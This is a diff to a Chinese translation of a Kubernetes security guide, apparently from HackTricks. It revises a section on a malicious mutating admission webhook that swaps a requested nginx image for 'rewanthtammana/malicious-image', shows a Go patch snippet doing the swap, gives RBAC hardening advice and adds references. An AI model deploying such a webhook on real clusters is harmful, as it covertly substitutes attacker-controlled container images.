@@ -645,9 +666,9 @@ kubectl describe po nginx | grep "Image: "
|
||||
|
||||
正如您在上面的图像中看到的,我们尝试运行镜像 `nginx`,但最终执行的镜像是 `rewanthtammana/malicious-image`。发生了什么事!!?
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
#### 技术细节
|
||||
|
||||
`./deploy.sh` 脚本建立了一个变更的 webhook 认证控制器,它根据其配置行修改对 Kubernetes API 的请求,从而影响观察到的结果:
|
||||
`./deploy.sh` 脚本建立了一个变更的 webhook 认证控制器,该控制器根据其配置行修改对 Kubernetes API 的请求,从而影响观察到的结果:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -676,7 +697,7 @@ Value: "rewanthtammana/malicious-image",
|
||||
|
||||
### **使用特定于命名空间的角色而非集群范围的角色**
|
||||
|
||||
- **角色与 ClusterRoles**:优先使用 Roles 和 RoleBindings 进行特定于命名空间的权限,而不是适用于整个集群的 ClusterRoles 和 ClusterRoleBindings。这种方法提供了更细粒度的控制,并限制了权限的范围。
|
||||
- **角色与 ClusterRoles**:优先使用 Roles 和 RoleBindings 进行特定于命名空间的权限,而不是适用于集群范围的 ClusterRoles 和 ClusterRoleBindings。这种方法提供了更细粒度的控制,并限制了权限的范围。
|
||||
|
||||
### **使用自动化工具**
|
||||
|
||||
@@ -697,5 +718,7 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user